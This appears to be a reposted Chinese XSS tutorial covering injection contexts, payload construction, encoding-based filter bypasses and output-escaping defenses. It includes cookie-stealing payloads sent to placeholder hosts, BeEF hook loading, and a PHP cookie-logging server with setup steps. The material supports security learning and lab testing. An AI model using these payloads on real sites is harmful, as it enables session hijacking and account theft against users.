XSS


XSS簡介

跨站腳本攻擊也就是我們常說的XSS,是Web攻擊中最常見的攻擊手法之一,通過在網頁插入可執行代碼,達到攻擊的目的。本質上來說也是一種注入,是一種靜態腳本代碼(HTML或Javascript等)的注入,當覽器渲染整個HTML文檔時觸發了注入的腳本,從而導致XSS攻擊的發生。

XSS的分類

類型 存儲區 插入點
存儲型 后端數據庫 HTML
反射型 URL HTML
DOM型 后端數據庫/前端存儲/URL 前端JavaScript

HTML元素

共有5種元素:空元素、原始文本元素、RCDATA元素、外來元素、常規元素。

空元素

area、base、br、col、command、embed、hr、img、input、keygen、link、meta、param、source、track、wbr

原始文本元素

script、style

RCDATA元素

textarea、title

外來元素

來自MathML命令空間和SVG命名空間的元素

常規元素

其他HTML允許的元素都稱為常規元素

XSS挖掘思路

XSS漏洞的本質是一種注入,是一種靜態腳本代碼的注入。
那么,大體的挖掘思路就顯而易見了:尋找可控點(參數)-> 嘗試注入

image

XSS的可控點(業務)

image

XSS出現場景分析

可控點:

  • 輸出內容在標簽之間

    • 普通標簽如<pre>

    • RCDATA標簽如<textarea>

  • 輸出內容在標簽屬性中

    • 輸出在普通標簽value屬性中

    • 輸出在src/href屬性中

  • 輸出內容在<script>標簽中

  • 輸出內容在特殊響應包中:Content-Typetext/javascript的響應包中

  • 輸出結果在CSS中:比較少見,現有瀏覽器基本可以進行防御

輸出結果在標簽之間

相關案例

<pre>[---用戶輸入---]</pre>

測試方法:直接插入XSS Payload即可觸發

<!--用戶輸入:<svg onload="alert(1)"></svg>-->
<html>
  <head></head>
  <body>
    <pre>
      <svg onload="alert(1)"></svg>
    </pre>
  </body>
</html>

輸出結果在RCDATA之間

相關案例

<textarea>[---用戶輸入---]</textarea>

測試方法:直接插入XSS Payload無法觸發,需要先閉合,再新建。

<!--用戶輸入:</textarea><svg onload="alert(1)"></svg>-->
<html>
  <head></head>
  <body>
    <textarea></textarea>
    <svg onload="alert(1)"></svg>
  </body>
</html>

補全標簽后瀏覽器成功將Payload解析成標簽體(在瀏覽器看代碼顏色是彩色的)

輸出結果在標簽屬性中

相關案例

<input type='text' value='[---用戶輸入---]'>

測試方法

<!--用戶輸入:alert(1)-->
<input type="text" value="" onclick="alert(1)">
<!--用戶輸入:"><svg/onload=alert(1)>-->
<input type="text" value=""><svg/onload=alert(1)>">

輸出結果在SRC/href屬性中

相關案例

<iframe src='[---用戶輸入---]'></iframe>

測試方法

方法一:參考輸出結果在標簽屬性中
方法二:利用協議(常用的JavaScript協議、DATA協議)

<iframe src='javaScript:alert(1)'></iframe>

其他情況

  • 輸出內容在<script>標簽中:嘗試閉合JS語句進行觸發

  • 輸出內容在Content-Typetext/javascript的響應包中:嘗試原JS語句進行觸發

  • 輸出內容在CSS代碼中:IE瀏覽器支持CSS中的expression,利用此類表達式可以執行XSS。

<span style="color:1;x:expression(alert(/xss/));"></span>

XSS危害

image

常用的觸發XSS的HTML標簽

<iframe>    會創建包含另外一個文檔的內聯框架(即行內框架)
<textarea>  定義多行的文本輸入控件
<img>       向網頁中嵌入一幅圖像
<script>    定義客戶端腳本,即可包含腳本語句,也可通過src訪問外部腳本
<input>
<svg/onload=alert(1)>  svg大法!!!
<a>
其實自己創建標簽也能彈窗,比如<zxc onclick=alert(1)>xss</zxc>

常用的JavaScript方法

alert
window.location
location.href
onload
onsubmit
onerror

構造XSS腳本

彈窗警告(做測試使用)
<script>alert('xss')</script>
<script>alert(document.cookie)</script>

頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

頁面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

彈窗警告並重定向(克隆網站,收集賬戶)
<script>alert("請移步我們的新站");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://10.1.64.35/robots.txt"</script>

訪問惡意代碼
<script src="http://ipaddress.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> 結合BeEF收集用戶cookie

巧用圖片標簽
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>

繞開過濾腳本
大小寫:<ScrIpt>alert('xss')</SCRipt>
字符編碼:采用URL、Base64等編碼

收集用戶cookie
<script>window.open("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://ip.com/cookie.php?cookie="+document.cookie></img>
<iframe src="http://ip.com/cookie.php?cookie="+document.cookie></iframe>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;
img.width = 0;
img.height = 0;
</script>

DOM型XSS

區別於其他的就是DOM型XSS不經過服務端,而是在前端的函數中直接執行。在BurpSuite中抓包是抓不到的。比如在#號之后的東西,在BurpSuite中是看不到的。

http://192.168.0.123/xss/domxss.jsp?id=1#javascript:alert(1)
在BurpSuite中抓包如下
GET /xss/domxss.jsp?id=1

因為在前端代碼中,<script>中寫的有問題,有個location.hash,而且沒有做任何處理,就做了個跳轉,從而我們可以使用Javascript偽協議觸發了此DOM型XSS

<script>
  var hash = location.hash;
  if (hash) {
    var url = hash.substring(1);
    location.href = url;
  }
</script> 

實例:通過XSS漏洞獲取Cookie值

構建收集cookie服務器

啟動apache

systemctl start apache2

創建php文件

vim /var/www/html/cookie_rec.php
<?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt","a");
    fwrite($log, $cookie . "
");
    fclose($log);
?>

更改/var/www目錄的權限

chown -R www-data.www-data /var/www/

構造XSS代碼並植入到web服務器

<script>windows.open('http://kali.address/cookie_rec.php?cookie'+document.cookie)</script>

如果前端限制了max-length,直接F1打開開發者工具,前端改掉長度限制。然后等待靶機觸發XSS代碼並將cookie發送到Kali

XSS蠕蟲

一種具有自我傳播能力的XSS攻擊,殺傷力很大,引發XSS蠕蟲的條件比較高,需要在用戶之間發生交互行為的頁面,這樣才能形成有效的傳播。一般要結合反射型XSS和存儲型XSS。

XSS平台

是為了XSS漏洞利用而生,最基礎的功能是利用XSS漏洞盜取客戶端的cookie數據,獲取到cookie后就可以充當客戶身份登錄平台。

XSS漏洞繞過思路

常見姿勢:

  1. 雙URL編碼

  2. Multipart方式提交

  3. 瀏覽器容錯性

  4. 編碼繞過

  5. <svg>標簽繞過

  6. data協議

  7. html標簽閉合

場景1:HTML實體編碼+過濾缺陷繞過

  • <>做了HTML實體編碼

    • 應對方式:繼續在標簽內找機會,比如參數覆蓋等
  • 過濾了常見的JS事件

    • 應對方式:使用BurpSuite暴破看看其他事件是否過濾
  • 過濾了alert等常見的觸發方法

  • 應對方式:ASCII編碼、Unicode編碼、HTML實體十六進制編碼

最終Payload

openid=test"type="text"onmouseout="\u0061\u006c\u0065\u0072\u0074(1)

場景2:組合編碼+Data協議繞過

  • 特殊符號被HTML實體編碼

    • 應對方式:雙重URL編碼
  • 過濾了絕大部分的JS事件

  • 過濾了大部分標簽

    • 應對方式:創建新的標簽<embed>
test%2522%253e%253cembed%2520src=%253e
# test"><embed src> 
  • 過濾了JavaScript協議以及base64關鍵字

    • 應對方式:編碼解決
<embed src="data:text/htmL;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+">

# PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+為<svg/onload=alert(1)>的base64編碼
# 嘗試對逗號進行HTML實體編碼(`&#44;`),這里對`&#`也進行了攔截,雙重URL編碼即可

最終Payload

test%2522%253e%253cembed%2520src=data:text/html:base64%2526%252344;PHN2ZyBvbmxvYWQ9YWxlcnQoMSk%252b%253e

心得1::特殊編碼

服務端程序存在HTML編碼操作,但由於把:編碼為&colon;比較特殊,Java語言的方法無法對其進行HTML實體轉化,但是瀏覽器可以正常轉化,所以可以利用此方法來嘗試繞過。

XSS防護

程序開發者

  • 對用戶提交內容進行合法性校驗

  • 對用戶提交內容進行轉義處理,建議輸出轉義,因為輸入轉義容易影響數據庫的數據存儲。

  • 對用戶輸入的長度進行限制

需作轉義的字符 字符實體編碼
& &
< <
> >
" "
' '
/ /

普通用戶

  • 不要輕易訪問別人給你的長鏈接,它可能包含了轉碼后的惡意HTML代碼

  • 禁止瀏覽器運行JS和ActiveX代碼

特殊字符處理

一般的XSS漏洞是因為沒有過濾特殊字符,導致可以通過注入單雙引號以及尖括號等字符利用漏洞。我們常見的利用代碼比如

'"><img src=x onerror=alert(/xss/)>--

<script>alert(/xss/)</script>

我們可以看到或是利用了特殊字符將原本正常的標簽閉合進行利用,所以對特殊的字符進行過濾是可行的。

特殊字符列表如下:

  • 單引號('

  • 雙引號("

  • 尖括號(<>

  • 反斜杠(\

  • 冒號(:

  • and符(&

  • 井號(#

這些字符應該怎么過濾?這些字符什么時候過濾?
在正常系統中,為了保證用戶體驗以及數據的原始性,最好的過濾方式是在輸出的時候進行如HTML實體一類的轉碼,防止腳本注入。

HTML轉義輸出

上面說到,特殊字符處理不能涵蓋所有方面,有些特殊的地方要求輸入特殊字符該怎么辦呢?這里可以對所有輸出和二次輸出進行轉義,可以最大限度保存數據的同時保證安全,可以用HtmlUtils實現HTML標簽和轉義字符的轉換。

String string = HtmlUtils.htmlEscape(userinput); // 對字符進行轉義
String s2 = HtmlUtils.htmlUnescape(string);  // 對字符進行恢復

標簽事件屬性黑名單

之前我們提到了過濾特殊字符防止XSS漏洞,實際上,即使過濾了也同樣可能會被繞過,比如利用寬字節注入一樣的方式吃掉斜杠,然后再利用標簽事件來執行js代碼,面對這種情況,建議是加標簽事件的黑名單或者白名單,這里推薦白名單,實現規則可以用正則進行匹配。OWASP開源項目上面可以看到可以觸發事件的標簽,可以根據標簽根據業務需求編寫黑名單或者白名單。

參考:XSS Filter Evasion Cheatsheet

白名單參數限制

白名單限制應該是最安全的防御思路了,可以在filtter中編寫相關的參數樣式,然后過濾,如針對手機號碼,只接收11位數字以13,15,17,18,19開頭的數字,如果不是這些style則應該拒絕任何響應。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM